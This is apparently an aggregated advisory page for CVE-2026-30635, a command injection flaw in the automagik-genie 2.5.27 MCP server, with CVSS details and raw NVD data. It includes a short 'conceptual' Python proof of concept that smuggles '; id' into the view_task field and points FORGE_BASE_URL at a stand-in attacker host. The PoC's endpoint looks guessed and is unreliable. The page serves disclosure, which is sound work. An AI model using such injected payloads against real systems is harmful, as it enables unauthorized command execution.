Security Vulnerability Report
中文
CVE-2026-30635 CVSS 8.1 HIGH

CVE-2026-30635

Published: 2026-05-11 18:16:32
Last Modified: 2026-05-13 15:46:20

Description

Command injection vulnerability in automagik-genie 2.5.27 MCP Server allows attackers to execute arbitrary commands via the view_task (aka view) in the readTranscriptFromCommit function in dist/mcp/server.js when a user reads from an external FORGE_BASE_URL.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

automagik-genie 2.5.27

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept (Conceptual) import requests import json target = "http://target-host:port" url = f"{target}/api/mcp/readTranscriptFromCommit" # Malicious payload to execute 'id' command payload = "; id" headers = {"Content-Type": "application/json"} data = { "view_task": payload, "FORGE_BASE_URL": "http://attacker-controlled.com" } try: response = requests.post(url, headers=headers, data=json.dumps(data)) print(f"Status Code: {response.status_code}") print("Response:") print(response.text) except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-30635", "sourceIdentifier": "[email protected]", "published": "2026-05-11T18:16:31.660", "lastModified": "2026-05-13T15:46:19.993", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Command injection vulnerability in automagik-genie 2.5.27 MCP Server allows attackers to execute arbitrary commands via the view_task (aka view) in the readTranscriptFromCommit function in dist/mcp/server.js when a user reads from an external FORGE_BASE_URL."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://gist.github.com/spdc-elm/3ddecd10ffa85c5963ab7fe531619875", "source": "[email protected]"}, {"url": "https://gist.github.com/spdc-elm/3ddecd10ffa85c5963ab7fe531619875", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}